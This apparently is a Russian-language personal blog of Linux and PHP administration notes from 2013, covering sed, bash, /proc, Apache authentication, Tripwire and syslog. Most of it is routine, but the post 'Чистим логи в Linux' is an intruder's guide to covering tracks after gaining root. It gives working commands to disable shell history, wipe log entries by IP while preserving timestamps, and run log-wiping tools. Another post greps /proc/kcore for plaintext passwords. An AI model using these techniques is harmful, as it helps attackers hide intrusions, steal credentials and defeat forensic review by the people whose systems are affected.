суббота, 28 декабря 2013 г.

время генерации страницы посредством PHP

вставить первую функцию в начало исполняемого кода, а вторую – в его конец. Результат получаем примерно такого вида: “Страница сгенерирована за 0.244 секунд”.

function gen_timer_start() {
 global $timer_start_time;
 $start_time = microtime();
 $start_array = explode(" ",$start_time);
 $timer_start_time = $start_array[1] + $start_array[0];
 return $timer_start_time;}function gen_timer_start() {
 global $timer_start_time;
 $start_time = microtime();
 $start_array = explode(" ",$start_time);
 $timer_start_time = $start_array[1] + $start_array[0];
 return $timer_start_time;}
function gen_timer_stop() {
 global $timer_start_time;
 $end_time = microtime();
 $end_array = explode(" ",$end_time);
 $timer_stop_time = $end_array[1] + $end_array[0];
 $time = $timer_stop_time - $timer_start_time;
 $time = substr($time,0,5);
 echo "Страница сгенерирована за $time секунд";}

среда, 25 декабря 2013 г.

Торрент для Linux - rtorrent

Установка:
yum install rtorrent
For Ubuntu and Debian users just issue the following command :
sudo apt-get update
sudo apt-get install rtorrent
Запуск:
rtorrent
If
rtorrent: symbol lookup error: rtorrent: undefined symbol: _ZN7torrent10ThreadBase8m_globalE

#yum downgrade libtorrent
Использование:
hit ENTER and the above screen will change to load>
Now press TAB and you will see all avilable torrent files
Enter first letters and press TAB and it will automatically load the torrent file
Now hit ENTER
Select files by pressing UP or DOWN arrow keys
Now press Ctrl key and s key together (i.e. Ctrl+s) and your torrent will start downloading

To stop the downloading press Ctrl+d
To exit press Ctrl+q

http://libtorrent.rakshasa.no/wiki 
http://ru.wikibooks.org/wiki/RTorrent 
http://harbhag.wordpress.com/2010/06/30/tutorial-using-rtorrent-on-linux-like-a-pro/ 
 

вторник, 10 декабря 2013 г.

Настройка bash

Оболочка tcsh имеет такую особенность: если набрать часть команды, например cd /, и стрелками выбирать предыдущие вводимые команды из history, то будут выбираться только те, что начинаются на cd /. Чтобы добиться того же эффекта в bash, нужно в файл /etc/inpurc добавить такие строки:
"\e[A": history-search-backward
"\e[B": history-search-forward

http://posix.ru/shell/bash_tab/

понедельник, 9 декабря 2013 г.

Как массово перекодировать фалы в Linux

find . -type f -name "filename.html" -exec recode -f utf-8...cp1251 {} \;
-f форсировать, игнорировать ошибки
Посмотреть кодировку файла:
file -i fulename.php

Процессы Linux

kworker - процесс, отвечающий за прерывания.
"kworker" is a placeholder process for kernel worker threads, which perform most of the actual processing for the kernel, especially in cases where there are interrupts, timers, I/O, etc. These typically correspond to the vast majority of any allocated "system" time to running processes. It is not something that can be safely removed from the system in any way, and is completely unrelated to nepomuk or KDE (except in that these programs may make system calls, which may require the kernel to do something). In plain Engrish, if it is using lots of battery, it means something is working in the background, such as apps syncing or automatically downloading something (such as ads, updates) ... etc


udevd - демон управления событиями
udevd прослушивает сообщения от ядра и передаёт их во входящую очередь событий udev. Он проверяет правильность порядка событий и соблюдает осторожность, чтобы события для дочерних устройств поступали с задержкой от того момента, когда закончится обработка события для родительского устройства.

среда, 11 сентября 2013 г.

Виртуальная файловая система /proc

Файлы в папке /proc генерируются на лету и содержат полную информацию о ядре и каждом запущенном процессе в системе. С помощью этой виртуальной файловой системы Вы можете работать с внутренними структурами ядра, получать полезную информацию о процессах и изменять установки ( меняя параметры ядра ) на лету. Файловая система /proc располагается в памяти в отличие от других файловых систем, которые располагаются на диске.


Перечислим некоторые важные файлы:
  • /proc/cpuinfo - информация о процессоре ( модель, семейство, размер кэша и т.д.)
  • /proc/meminfo - информация о RAM, размере свопа и т.д.
  • /proc/mounts - список подмонтированных файловых систем.
  • /proc/devices - список устройств.
  • /proc/filesystems - поддерживаемые файловые системы.
  • /proc/modules - список загружаемых модулей.
  • /proc/version - версия ядра.
  • /proc/cmdline - список параметров, передаваемых ядру при загрузке. 

Большинство из рассмотренных нами файлов из каталога /proc доступны только на чтение. Тем не менее файловая система /proc предоставляет файлы для взаимодействия с ядром доступные на запись. Помещение информации в такие файлы изменяет состояние ядра и поэтому это надо делать очень аккуратно. Эти файлы нахдятся в каталоге /proc/sys.
В каталоге /proc/sys/kernel находится информация общего плана для ядра. Соответственно в /proc/sys/kernel/{domainname, hostname} находится информация о доменном имени и host имени, которую Вы можете изменить.

Еще один интересный каталог /proc/sys/net. В нем Вы можете произвести сетевые настройки, например спрятать Ваш компьютер в сети.


$ echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
Запретив ответы на icmp_echos мы спрятали компьютер. Наша машина не будет отвечать на команды "ping" других компьютеров.

$ ping machinename.domainname.com
no answer from machinename.domainname.com
Вернуть прежнее состояние можно следующим образом
$ echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all


Оперативная память linux

В файле можно найти пароли авторизации в открытом виде и много другой полезной информации, которая была загружена в память.
Расположение: /proc/kcore
Размер файла равен размеру RAM + SWAP
strings /proc/kcore | grep -A 50 -B 50 {username} | sort -u | uniq -u > /tmp/kdump.uniq
Странно но пароль всегда находился в пределах +-50 строк от имени пользователя

воскресенье, 8 сентября 2013 г.

HTTP Basic Authentication

"Базовая" схема установления подлинности основана на том, что агент пользователя должен доказывать свою подлинность при помощи идентификатора пользователя (user-ID) и пароля (password) для каждой области (realm)
LoadModule authn_file_module modules/mod_authn_file.so
<Location ~ "/(wp-login\.php|administrator|admin\.php)">.
 AuthType Basic.
 AuthName "Subdomain authorization".
 AuthUserFile "/etc/httpd/.htpasswd"
 Require valid-user.
</Location> 

Создание файла с паролями:
htpasswd -c Filename username
Добавление/изменение юзера:
htpasswd Filename username
Force MD5 encryption of the password:
htpasswd -m Filename username

Make sure that the AuthUserFile and .htpasswd are stored outside the document tree of the web-server. Do not put it in the directory that it protects. Otherwise, clients may be able to download the AuthUserFile.


Директива <Location> подобна директиве <Directory>, только вместо названия каталога указывается адрес URL. Этот адрес URL может указывать на каталог, отдельный файл либо содержать шаблон (строку *.html). В директиве <Location>, уже присутствующей в файле srm.conf, задается область, резервируемая для проверки вебмастером состояния сервера, /status. Доступ к этой области разрешен только пользователям домена nowhere.com. Если вы замените nowhere.com названием вашего домена, то получите возможность пользоваться этой информацией о состоянии (если вы откомпилировали модуль mod_status.c.

AuthType None|Basic|Digest|Form

http://httpd.apache.org/docs/current/mod/mod_authn_core.html#authtype

http://httpd.apache.org/docs/2.2/howto/auth.html 

Минусы HTTP Basic Authentication:
1) Юзабилити, внешний вид
2) Чтобы деавторизоваться необходимо закрыть браузер.

Digest Authentication (Дайджест_аутентификация):
http://ru.wikipedia.org/wiki/%D0%94%D0%B0%D0%B9%D0%B4%D0%B6%D0%B5%D1%81%D1%82_%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F 

Как узнать статус процесса

 cat /proc/PID/status | grep State | awk {'print $3'}

суббота, 7 сентября 2013 г.

FilesMatch

<Files "log.txt">
Order Allow,Deny
Deny from all
</Files>
<FilesMatch "config.php|function.php|include.php">
  Order allow,deny
  Deny from all
  Allow from 173.11.227.73 108.222.245.179
</FilesMatch> 

<FilesMatch "\.(gif|jpeg|jpg|png)$"> 
<FilesMatch "\.php$">
<FilesMatch "index[0-9]?\.php$">
   
If you'd like to deny all but a few files, this would read as
Order deny,allow
Deny from all
<FilesMatch "index.php|index.html">
Allow from all
</FilesMatch> 

<Limit GET POST> 
Order Allow,Deny 
Deny from 100.99.69.1, 100.99.69.2
Allow from All 
</Limit>

воскресенье, 25 августа 2013 г.

Fuzzing

Fuzzing - технология тестирования программ, когда вместо ожидаемых входных данных программе передаются случайные данные. Если программа зависает или завершает работу это считается нахождением дефекта в программе, который может привести к обнаружению уязвимости. Большим преимуществом фуззинга является его простота и возможность автоматического анализа.

Примером фаззера может быть библиотека для Linux(and Solaris) – sharefuzz, предназначенная для тестирования типичных вариантов переполнения локальных буферов в setuid.

Из windows-фазеров можно отметить OWASP JBroFuzz – фаззер уязвимостей, работает с HTTP, SOAP, XML, LDAP протоколами. Позволяет выявить XSS, SQL-injection, переполнения буфера, FSE и многие другие уязвимости крайне нестандартными методами.

На проекте Google Code можно найти еще фаззеры. К примеру, Bunny the Fuzzer (http://code.google.com/p/bunny-the-fuzzer) - фаззер программ, написанных на C. Работает под Linux, FreeBSD, OpenBSD, и Cygwin.

FuzzDB - база данных с коллекцией образцов вредоносных и некорректных входных данных, нацеленных на повышение эффективности fuzzing-тестирования

FuzzDB может использоваться совместно с системами тестирования приложений на уязвимости, такими как OWASP Zap и Burp Suite. Опубликованные данные также можно использовать для симуляции активности, напоминающей проведение атаки, с целью тестирования работы внедрённых систем обнаружения и предотвращения атак.  

VPN disconnect

Иногда бывает ситуация, когда VPN-соединение по каким-либо причинам может разрываться. Если в случае с прокси-сервером, сетевое взаимодействие прекращается, то в случае с VPN траффик продолжит идти напрямую. Наиболее надёжным вариантом для недопущения этого является использование таблицы маршрутизации, где в качестве основного шлюза по умолчанию указан только шлюз VPN-сервера.
Делается это просто:
1. Удаляем любые маршруты по умолчанию:

2. Разрешаем доступ в интернет только к адресу VPN-сервера:

3. Добавляем маршрут по умолчанию со шлюзом – VPN-сервером:

Где: 192.168.0.1 — шлюз интернета, 55.55.55.55 — VPN-шлюз.
Еще одним способом является установка в свойствах открытого интернет-соединения несуществующих DNS-серверов, например, 127.0.0.1. В таком случае веб-сёрфинг и другие подобные задачи становятся невозможными без подключения к VPN-серверу.
Также существуют специальные программы, например, VPN-watcher, которые для заданных приложений проверяет VPN-соединение несколько раз в секунду и приостанавливает их работу, если VPN-соединение обрывается.

пятница, 16 августа 2013 г.

locale language set

locale -a //all locales 
apt-get install language-pack-nl language-support-nl
dpkg-reconfigure locales 
List of supported locales in /usr/share/i18n/SUPPORTED
Current locale in /etc/sysconfig/i18n
inside:
LANG="ru_RU.UTF-8"
SUPPORTED="ru_RU.UTF-8:ru_RU:ru"
SYSFONT="latarcyrheb-sun16" Если нет русской локали то ее необходимо сделать. Команда для этого выглядит так:
localedef  -i ru_RU -f UTF-8 ru_RU.UTF-8
Что она делает? Она берет из папки /usr/share/i18n/locales/ файл ru_RU (это файл с русской локалью) и из папки /usr/share/i18n/charmaps файл UTF-8.gz (это символьная карта для юникода) и на основе этиф файлов генерит нужную нам локаль ru_RU.UTF-8 После этого действия у нас в системе появляется нужная нам локаль, а дальше делаем все так как описано на абзац выше. Добавлю только что файлы находящиеся в папке usr/share/i18n/ принадлежат glibc-common-2.x.x и если вы их не наблюдаете там, то необходимо разбираться с самим glibc-common.

пятница, 9 августа 2013 г.

PHP open_basedir and Curl

CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or 
an open_basedir is set in /home/username/public_html/sts/index.php on 
line 170

decision:

set open_basedir = none in php.ini
 or
disable open_basedir in httpd.conf

php_admin_value open_basedir none
 

воскресенье, 4 августа 2013 г.

Tripwire

Режимы работы Tripwire:

    Инициализация базы данных (Database Initialization Mode);

    Проверка целостности (Integrity Checking Mode);

    Обновление базы данных (Database Update Mode);

    Обновление политики (Policy Update Mode);

    Тестовый режим (Test Mode);
   
При вызове программ можно использовать дополнительные ключи:
    -?
    --help
    --help all
    --help режим
    --version
    --verbose (или -v)
    --quiet (или -s)
    --polfile полиси-файл
    --cfgfile файл-конфигурации
    --site-keyfile файл-общего-ключа
    --local-keyfile файл-локального-ключа
    --dbfile файл-БД
    --local-passphrase парольная фраза (не советую использовать, т.к. ее могут увидеть с помощью команды ps)
    --site-passphrase парольная фраза (не советую использовать, т.к. ее могут увидеть с помощью команды ps)

    При необходимости исходные конфигурационные файлы можно создать вновь:
# twadmin -m p > /etc/tripwire/twpol1.txt 

# twadmin -m f > /etc/tripwire/twcfg.txt


Маски (Атрибуты файлов)

A property mask determines which object properties are ignored or monitored by Tripwire.
An empty property mask may not be used.
The property mask must contain one or more property characters.
When property values are used in a property mask without the + or – sign, the plus sign (+) is assumed.
+p+n+s = +pns = pns
    p - права доступа
    i - inode
    n - число жестких ссылок
    u - uid
    g - gid
    t - тип файла
    s - размер
    d - номер устройства диска, на котором хранится соответствующий inode
    r - для файлов устройств номер устройства
    b - число блоков
    m - время модификации
    c - время создания/модификации inode
    l - ожидается, что файл будет расти; если он уменьшился, то это нарушение
    a - время доступа (несовместим с CMSH, т.к. для вычисления суммы необходимо прочитать файл; доступ к содержимому директории меняет время доступа к ней)
    C - контрольная сумма CRC-32, POSIX 1003.2
    M - контрольная сумма MD5
    S - контрольная сумма SHA
    H - контрольная сумма HAVAL
К этим атрибутам можно добавлять дополнительные маски:
+ сравнить атрибут
- игнорировать атрибут
The mask # establishes the same monitoring criteria as the first mask.

The plus sign (+) enables monitoring for a property, the minus sign (-) disables monitoring.
Not specifying a property in the property mask is the same as using the minus (-) sign.
When a plus or minus sign appears in a property mask, it is in effect until the next plus or minus sign appears in the same mask.
When two properties in the same mask contradict each other, only the last property is acted upon by Tripwire.
A property mask may be used with no properties enabled. This type of mask is often used to monitor the deletion or addition of files to the system.

specify the name of the report file you wish to merge with the database
$ tripwire --update -r /var/lib/tripwire/report/androidius.ru-20130802-140850.twr

Атрибуты правил

При написании правил вы можете указывать их атрибуты.
Атрибуты модифицируют действие правила, записываются в виде списка имя = значение через запятую и могут применяться к отдельному правилу или группе правил. Группа правил заключается в фигурные скобки. Список атрибутов для группы правил записывается в скобках перед ней. Индивидуальные атрибуты имеют больший приоритет, чем групповые, за исключением атрибута emailto - в этом случае атрибут добавляется. Обрабатываются следуюшие атрибуты:
rulename - позволяет присвоить правилу имя, которое будет выведено в отчете в случае нарушения правила. Кроме этого, имя можно использовать при сортировке с помощью grep

emailto - Пример: /etc -> +us (email = paer@yahoo.com). чтобы указать несколько адресов, надо перечислить их через точку с запятой и заключить в кавычки

/etc -> +ug (emailto="admin@foo.com;admin2@foo.com");

severity - от 0 до миллиона, по умолчанию - 0; чем больше, тем серьезнее; проверку можно запускать только для правил указанного уровня или выше; в командной строке могут использоваться ключи high - уровень 100, medium - уровень 66, low - уровень 33

recurse - рекурсивная проверка. Если объект является каталогом, то Tripwire будет контролировать все его подкаталоги. true (-1) по умолчанию, false (0) - подкаталоги сканироваться не будут, Tripwire будет сканировать только свойства заданного каталога, а не содержащихся в нем файлов. Положительное значение (1, 2, 3 и т.д.) - позволяет установить глубину сканирования (максимальный уровень вложенности). Атрибут recurse для файла игнорируется.
(
  rulename = "Monitor Filesystems",
)
{
  /                             -> $(ReadOnly) ;
  /home                         -> $(ReadOnly) (recurse=1);

}

Переменные

Переменные делятся на глобальные и локальные для данной секции. Локальные имеют больший приоритет. Значение переменной присваивается командой имя_переменной = значение; Имя переменной может включать буквы (регистр имеет значение), цифры и знаки: "_+-@:&%^.". Если значение содержит пробел или управляющие сиволы, то оно должно быть заключено в кавычки. Подстановка переменных допускается в любом месте, где по синтаксису полагается строка (в т.ч. как часть левой части правила) и выражается так:
$(имя_переменной)

Предопределенные переменные (не могут быть переопределены):
ReadOnly = +pinugsmtdbCM-raclSH (предполагается, что содержимое файлов не изменяется)

Dynamic = +pinugtd-rsacmblCMHS (предполагается частое изменение содержимого файлов, например /home)

Growing = +pinugtdl-rsacmbCMSH (например, журналы)

IgnoreAll = -pinusgamctdrblCMSH (проверять лишь наличие или отсутствие файла)

IgnoreNone = +pinusgamctdrbCMSH-l (используется для дальнейшего конструирования собственной маски: $(IGnoreNone)-ar)

Device = +pugsdr-intlbamcCMSH (для файлов, которые нельзя открывать)


Директивы

Директивы позволяют вам распечатывать диагностические сообщения в случае, когда при проверке достигнуты определенные разделы файла политики, или осуществляется проверка определенных свойств хоста. Смысл в том, что один и тот же файл политики может быть использован на различных хостах и операционных системах.

    @@section. Начинает новый раздел файла. Эта директива может сопровождаться аргументами: FS, NTFS или NTREG. Unix-версия Tripwire игнорирует разделы файла NTFS или NTREG, что позволяет вам использовать один файл политики для всей вашей сети. Если после директивы не задано никаких аргументов, предполагается значение FS. Нет необходимости определять конец раздела, поскольку Tripwire просто просматривает файл в поисках следующей директивы и интерпретирует ее, как конец предыдущего раздела.
    @@ifhost, @@else, @@endif. Эти директивы можно использовать для определения специфических для хоста разделов файла. В отличие от директив разделов, директивы ifhost требуют, чтобы предложение было завершено директивой endif. Это позволяет вам запускать правила только для конкретного хоста в группе хостов, воспользовавшись примерно такой командой:

    @@ifhost originix || badman
       # define rules for only hosts originix and badman here
    @@endif

@@ifnhost hostname Same as the argument, except that the hostname must NOT match the hostname used in this argument.
@@include pathname Used to include the file specified in pathname into the policy file. Both files must use syntax readable by Tripwire.
@@variable Used to make Tripwire perform an action when the named variable is encountered.
@@{variable-name} Same as the previous syntax; normally used in conjunction with other strings.
@@undef variable-name Unassigns the named variable.
@@define variable-string Used to assign a string to a variable. If now string argument is used, the null string is assigned. (Example: @@define LOGS E+pugn
##this template will monitor log files for file permissions, User ID, Group ID, and link count.
##The next template will be the default template applied to directories.)
Using: /var/log                       @@LOGS;
@@ifdef variable-name This argument is true if the variable is defined.
@@Ifndef variable-name This argument is true if the variable is NOT defined.
    @@print, @@error. Эти директивы используются для вывода отладочных сообщений из файла политики. Директория @@print просто печатает на стандартный вывод, а директива @@error осуществляет печать в случае ненормального завершения работы программы. Следующий пример указывает Tripwire выдать сообщение в случае, если будет сделана попытка проверки хоста cauliflower, поскольку для этого хоста не предусмотрено никаких правил проверки:

    @@ifhost cauliflower
       @@error "We haven't written any policy rules for
           host cauliflower yet"
    @@endif

    @@end. Эта директива обозначает конец файла политики. Достигнув этой точки, Tripwire прекращает считывание файла.
||  Logical OR statement
&&  Logical AND statement
##  Used to indicate comments


Чтобы исключить файл или папку из проверки используется знак !:
/etc $(ReadOnly) –ar;
!/etc/rc.d ;
!/etc/sysconfig ;
Распечатать результаты проверки:
twprint --print-report -r /var/lib/tripwire/report/site.ru-20130802-133246.twr | more

Обновить правила из файла twpol1.txt:
tripwire --update-policy --secure-mode low ../etc/tripwire/twpol1.txt
--secure-mode low - Обновить базу данных после применения новых настроек.

6. Check for any changes to the files and update tripwire database.
# ./tripwire --check --interactive

(
  rulename = "www Site Directory", severity = $(SIG_MED)
)
{
/var/www                        -> $(IgnoreNone);
/var/www/httpd-logs             -> $(SEC_LOG);
/var/www/caskag/data/logs       -> $(SEC_LOG) ;
!/var/www/caskag/data/mod-tmp       -> $(SEC_INVARIANT) ;
}

Если же изменен важный файл, к примеру, отредактирован какой-то конфигурационный файл в каталоге /etc, то нужно сообщить об данном Tripwire. Для этого Tripwire запускается с опцией -update и опцией -twrfile, после которой показывается файл отчета:
# tripwire --update --twrfile /var/tripwire/report


Автоматическая проверка

execute tripwire check daily at 4:00 a.m.
#add the following line to your crontab
00 4 * * * /opt/tripwire/sbin/tripwire  --check
Для автоматической ежедневной проверки нужно создать файл twcheck в /etc/cron.daily:
#!/bin/sh

HOST_NAME= 'uname -n'

if [ ! -e /var/lib/tripwire/${HOST_NAME}.twd ]; then echo "*** Error: Tripwire database for ${HOST_NAME} not fountd"

echo "*** Run "/etc/tripwire/twinstall.sh" and/or "tripwire —init." else

test -f /etc/tripwire/tw.cfg && /usr/sbin/tripwire --check fi
Проверка работоспособности почтовой системы:

tripwire --test --email адрес

http://www.bog.pp.ru/work/tripwire.html
http://www.ibm.com/developerworks/ru/library/au-usingtripwire/
http://www.intuit.ru/studies/courses/1053/150/lecture/2201?page=10&keyword_content=leased 

Каккие файлы проверять с помощью Tripwire:

Проверяйте все бинарные файлы, особенно в папках /sbin и /lib.
Проверяйте системный логи /var/log.
Проверяйте конфигурационные файлы в /etc.
Проверяйте файлы программ безопасности, антивирусов и фаерволов.

четверг, 1 августа 2013 г.

Матрица

echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
http://www.asty.org/cmatrix/

вторник, 30 июля 2013 г.

Sed mans

Команда s - substitution (замена)
sed s/ОБРАЗЕЦ/ЗАМЕНА/

Sed использует в качестве разделитея первый символ после s (кроме обратного слеша \ и символа новой строки):
sed -i "s/строка/новая строка/g" file
тоже самое
sed -i "s#строка#новая строка#g" file
-i заставляет sed делать замену в исходном файле без вывода на экран.

Обратный слеш перед разграничительным символом, отменяет его спецзначение.
\xabc\xdefx
выведет abcxdef

По умолчанию команда s заменяет только первое совпадение, чтобы заменить все найденные совпадения используется модификатор /g
$ echo кот этот, был самый обычный кот | sed 's/кот/котенок/g'

котенок этот, был самый обычный котенок


Опция -n отменяет вывод на стандартный выход.  
Модификатор /p - Если замена имела место, то вывести результат.

Вывести только те строки, где произошла замена.
sed -n 's/gnome/penguin/p' file

Использование символа & когда искомый ОБРАЗЕЦ неизвестен

Символ & (амперсанд), будучи помещен в состав ЗАМЕНЫ, означает любой найденный в тексте ОБРАЗЕЦ.
"& " - Заменяется на строку, указанную в регулярном выражении. 
Например:
$ echo 1234 | sed 's/[0-9]*/(&)/'
(1234)


Числовой модификатор

Это число от 1 до 512, которое ставится после последнего разделителя и указывает, какое по счету совпадение подлежит замене.
$ echo очень глупый пингвин | sed 's/[а-я]*/хороший/2'
очень хороший пингвин

Можно комбинировать цифровой модификатор с модификатором /g. Если нужно оставить неизменным первое слово, а второе и последующие заменить на слово "(удалено)", то команда будет такая:
$ echo очень глупый пингвин | sed 's/[а-я]*/(удалено)/2g'
очень (удалено) (удалено)

Модификатор d

Удаляет строки по регулярному выражению
sed '/pattern/d'


Команда ! (отрицание)

Символ восклицательного знака (!) инвертирует выбор
Замена "foo" на "bar" ИСКЛЮЧАЯ строки содержащие "baz":
sed '/baz/!s/foo/bar/g'
Удалим все строки кроме второй.
$ sed '2 !d' text.txt
Замена "foo" на "bar" ТОЛЬКО для строк содержащих "baz": Заменить все совпадения в файле twpol.txt с аргументами из файла grlog4 на префикс # плюс аргумент
cat grlog4 | while read i; do sed -i -e "s&$i&#$i&g" twpol.txt;done

Кавычки в Unix

Кавычки, обрамляющие строку, предотвращают интерпретацию специальных символов, которые могут находиться в строке.
Символ называется "специальным", если он не только означает самого себя но и имеет дополнительное значение для программ, например символ шаблона -- *.

Двойные кавычки отменяют все спец символы, кроме $ и \.

Одиночные кавычки (' '), по своему действию схожи с двойными кавычками, но не разрешают внутри себя подстановку переменных, интерпретируя символ "$", как обычный символ. Любой символ внутри одинарных кавычек, за исключением символа одинарной кавычки, воспринимается как обычный символ.
Одинарные кавычки являются более строгим вариантом двойных кавычек.

Многие программы в передаваемых им параметрах, используют специальные символы, в этом случае нужно заключать их в кавычки, что-бы системная оболочка их не трогала, оставляя для вызываемой программы.
grep '[Tt]*' ./[Bb]*

Кроме вышесказанного, кавычки используются для предотвращения разбиения строки на слова:
var="is a variable"

echo this $var # здесь команде передается  4 аргумента

echo "this $var"  # а тут один
this is a variable # здесь на выходе мы получаем 4 слова
this is a variable # а здесь одну строку

При обращении к переменным, желательно использовать двойные кавычки. Это позволит не интерпретировать специальные символы, содержащиеся в именах переменных, за исключением символов $


# ls /etc\ /root
вернет /etc/root

Очень часто символ экранирования \ ( обратный слэш ), используется для ввода из командной строки многострочных команд, экранируя символ новой строки:
# ls /etc\\n/root
вернет /etc/root

Вообще если одна из строк многострочной команды заканчивается символом конвейера " | ", экранировать символ новой строки не обязательно, это просто считается хорошим тоном, и применимо только к оболочке bash

воскресенье, 28 июля 2013 г.

sysctl

sysctl используется для изменения параметров ядра во время выполнения. Доступные параметры перечислены в /proc/sys/. Для поддержки sysctl(8) в Linux необходима поддержка файловой системы procfs. sysctl может использоваться как для чтения, так и для записи параметров ядра. 
-n
    Не выводить имена ключей при выводе их значений. 
-e
    Игнорировать ошибки, связанные с неизвестными ключами. 
-N
    Выводить только имена. Это может быть полезно для оболочек, поддерживающих настраиваемое автодополнение. 
-q
    Не выводить устанавливаемые значения на стандартный вывод. 
-v
    Выводить устанавливаемые значения на стандартный вывод. 
-w
    Этот параметр используется для изменения значений ключей. 
-p
    Загрузить настройки из указанного файла или /etc/sysctl.conf, если файл не указан. 
-a
    Вывести все доступные в данный момент настройки. 
-A
    Вывести все доступные в данный момент настройки в табличном виде. 

Примеры:
/sbin/sysctl -a
/sbin/sysctl -n kernel.hostname
/sbin/sysctl -w kernel.domainname="example.com"
/sbin/sysctl -p /etc/sysctl.conf 
Перед добавлением правил следует удостовериться, поддерживает ли их sysctl на вашей системе.
sysctl -a | grep ...

пятница, 26 июля 2013 г.

Чистим логи в Linux

Первое что нам необходимо сделать после получения рут привилегий это:

Отключить сохранение команд текущей сессии в истории Bash:
unset HISTFILE
или
export HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null 

freebsd
setenv histfile /dev/null
setenv MYSQL_HISTFILE /dev/null

Далее после работы, нам нужно очистить логи с записями о нашем присутствии в системе. Сделать это можно двумя способами:
1. С помощью специальных утилит (Log Wiper,Log Cleaner, etc)
2. В ручную

Не помешает также подчистить .bash_history, в котором сохраняется история команд.

Далее перед отключением делаем:
kill -9 $$
kill -9 $$ - это выход из консоли без без сохранения истории, где $$ идентификатор текущего процесса консоли.

Если вы решили довериться утилитам, то можно воспользоваться одной из этих утилит:
http://packetstormsecurity.com/UNIX/penetration/log-wipers/
Наиболее популярные: vanish , whitecat

Рассмотрим whitecat. Она поддерживает FreeBSD, Linux, SOLARIS.
Последняя версия 1.1: http://forum.antichat.ru/threadnav36595-4-10.html
Пути к логам находятся в массиве APACHE_PATH[] (стр. 54, файл witecat.c). Чтобы добавить новый путь - просто добавьте строчку в массив, соблюдая запятые. Во время работы при попытке обработать несуществующий путь ошибки не вываливаются.  
Компиляция: gcc whitecat.c -o whitecat
Запуск(например хотим почистить свой ip в логах):
./whitecat -u root -a 127.0.0.1

Для ручной чистки можно использовать следующие команды:
egrep -rl "127.0.0.1" /var | while read f; do sed -e '/127.0.0.1/d' $f>1.back;touch -r $f time.tmp;mv -f 1.back $f;touch -r time.tmp $f;rm -f time.tmp;done
Если остаются пустые строчки - их тоже можно удалить:
sed '/^$/d' new
Обратите внимание, мы не используем mv, для затирания файлов, тк после этой команды не производится дальнейшая запись в логи.  После команды mv запись продолжается в переименованный файл и только по SIGHUP демон переключается на новый файл лога.

Описание системы ведения логов

В Unix программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog


# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log
Слева пишется категория и привилегия события, а справа - файл куда это событие заносится:
катeгория.приоритет адрес_лог_файла
Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях:

auth - сообщения о нарушении авторизации доступа;
authpriv - сообщения о привилегированном доступе;
cron - сообщения демона крон;
daemon - сообщения других демонов;
kern - сообщения ядра;
lpr - сообщения системы печати;
mail - сообщения почтовых программ;
news - сообщения новостных программ;
syslog - сообщения самого демона сислог;
security - тоже самое что и auth (не должно использоваться в новых системах);
user - сообщения программ юзеров;
uucp - сообщения UUCP;
local0-local7 - определяется для конкретной системы.

Почти понятно? Тогда рассмотрим уровни приоритетов:
emerg - системе амбец;
alert - нужно срочное вмешательство;
crit - состояние критично и представляет угрозу работе системы;
err - сообщение об ошибках;
warnity - предупреждение;
notice - состояние допустимое, но админ должен это увидеть;
info - просто информация;
debug - отладочные сообщения;
none - нет приоритета.
Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет.

 Теперь посмотрим куда могут отправляться сообщения.
/путь/имя_файла - сообщения записываются в лог-файл;
/dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине);
root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение;
* - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg);
mail.=info                   /dev/tty12

| - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте);
@имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd).
Последнее и есть самая опасная вещь - логи удастся почистить только если взломать второй хост.
*.*             @megalohost

Рекомендуется также заглянуть в файл /var/log/messages, где могут сохраниться системные сообщения от применения эксплойтов или других действий.

  /var/log/lastlog
lastlog — содержит записи о времени последнего входа в систему для каждого пользователя. Этот файл содержит только одну запись для каждого пользователя.

/var/log/wtmp/
wtmp — содержит записи обо всех входах в систему (и выходах из системы) по пользователям. На загруженном компьютере этот файл имеет большой размер, поскольку содержит по одной записи входа и одной – выхода из системы. Файл также содержит дополнительную системную информацию, такую как перезагрузка, выключение и изменение даты.

/var/run/utmp 
Файл utmp позволяет получать информацию о том, кто в данный момент работает в системе. Пользователей, в данное время использующих систему, может быть большое количество, поскольку не все программы используют регистрацию через utmp.

Файл /var/log/btmp записывает неправильные регистрации. 

При входе пользователя в систему открывается файл lastlog, и в нем обновляется запись о дате и времени входа. Затем открывается файл utmp, и в него записывается информация о текущем нахождении в системе. Запись о входе в систему (как правило, копия информации, добавленной в lastlog) записывается также в журнал wtmp для регистрации входа в систему.
